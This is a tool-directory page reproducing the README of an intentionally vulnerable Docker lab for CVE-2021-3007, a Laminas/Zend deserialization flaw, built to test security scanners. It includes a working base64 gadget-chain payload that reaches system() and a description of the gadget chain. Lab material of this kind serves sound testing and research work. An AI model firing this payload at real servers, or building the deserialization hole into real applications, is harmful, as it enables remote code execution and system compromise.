Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
cve-2021-3007-vulnerable — CVE-2021-3007 Vulnerable Test Environment - Laminas/Zend Framework Deserialization RCE | Kitploit
Tools/GitHubGitHub/kre80r/cve-2021-3007-vulnerable
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationLabs & Practice
GitHubkre80r/cve-2021-3007-vulnerable

cve-2021-3007-vulnerable

CVE-2021-3007 Vulnerable Test Environment - Laminas/Zend Framework Deserialization RCE

View Repository
8 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2021-3007 Vulnerable Test Environment

Docker CVE CVSS

Intentionally vulnerable test environment for validating CVE-2021-3007 detection in security scanners.

Vulnerability Overview

AttributeValue
CVE IDCVE-2021-3007
SeverityCritical (CVSS 9.8)
TypeInsecure Deserialization → RCE
AffectedLaminas HTTP < 2.14.2, Zend Framework 3.0.0
CWECWE-502 (Deserialization of Untrusted Data)

Quick Start

root@kitploit:~
# Clone repository
git clone https://github.com/KrE80r/CVE-2021-3007-vulnerable
cd CVE-2021-3007-vulnerable

# Start vulnerable environment
docker-compose up -d

# Verify it's running
curl http://localhost:8080

# Test with nuclei (optional)
nuclei -t CVE-2021-3007.yaml -u http://localhost:8080

# Cleanup
docker-compose down

One-Liner

root@kitploit:~
docker-compose up -d && sleep 3 && curl -s http://localhost:8080 | head -1

Manual Exploitation Test

root@kitploit:~
# Send serialized payload triggering RCE
curl -X POST http://localhost:8080/ \
  -d "data=TzoyODoiTGFtaW5hc1xIdHRwXFJlc3BvbnNlXFN0cmVhbSI6Mjp7czoxMDoiACoAY2xlYW51cCI7YjoxO3M6MTM6IgAqAHN0cmVhbU5hbWUiO086Mjg6IkxhbWluYXNcVmlld1xIZWxwZXJcR3JhdmF0YXIiOjI6e3M6NzoiACoAdmlldyI7TzozMzoiTGFtaW5hc1xWaWV3XFJlbmRlcmVyXFBocFJlbmRlcmVyIjoxOntzOjQ0OiIATGFtaW5hc1xWaWV3XFJlbmRlcmVyXFBocFJlbmRlcmVyAF9faGVscGVycyI7TzoyMToiTGFtaW5hc1xDb25maWdcQ29uZmlnIjoxOntzOjc6IgAqAGRhdGEiO2E6Mjp7czoxMDoiZXNjYXBlaHRtbCI7czo2OiJzeXN0ZW0iO3M6MTQ6ImVzY2FwZWh0bWxhdHRyIjtzOjE3OiJmaWxlX2dldF9jb250ZW50cyI7fX19czoxMzoiACoAYXR0cmlidXRlcyI7YToxOntzOjIyOiJlY2hvIG51Y2xlaUNWRTIwMjEzMDA3IjtpOjE7fX19"

# Expected: Response contains "nucleiCVE20213007" confirming RCE

Technical Details

Gadget Chain

root@kitploit:~
Laminas\Http\Response\Stream::__destruct()
  └─► Laminas\View\Helper\Gravatar::__toString()
        └─► Laminas\View\Renderer\PhpRenderer::plugin()
              └─► Laminas\Config\Config::get()
                    └─► system() / file_get_contents()

Vulnerable Components

PackageVersionPurpose
laminas/laminas-http2.14.1Vulnerable HTTP component
laminas/laminas-view2.12.0Gadget chain component
laminas/laminas-config3.7.0Gadget chain component

Vulnerable Endpoints

The application accepts serialized data via POST:

  • Path: / or /index.php
  • Parameters: data, payload, serialized
  • Encoding: Base64

Environment Details

ComponentValue
Base Imagephp:8.1-apache
Port8080
Containercve-2021-3007-vulnerable

Files

root@kitploit:~
.
├── Dockerfile          # Container build configuration
├── docker-compose.yml  # Orchestration (one-shot setup)
├── index.php           # Vulnerable PHP application
├── LICENSE             # MIT License
└── README.md           # This file

Security Notice

WARNING: This environment is intentionally vulnerable for security testing purposes only.

DO NOT:

  • Expose to public networks
  • Deploy in production environments
  • Leave running unattended
  • Use for malicious purposes

DO:

  • Use in isolated test environments
  • Stop containers when not in use
  • Use for legitimate security research only

References

  • NVD - CVE-2021-3007
  • GitHub Advisory - GHSA-xx8f-qf9f-5fgw
  • Laminas Security Release
  • CheckPoint Research - FreakOut
  • Ambionics Research

License

MIT License - For security research and educational purposes only.


Created for nuclei template validation | projectdiscovery/nuclei-templates

Download Tool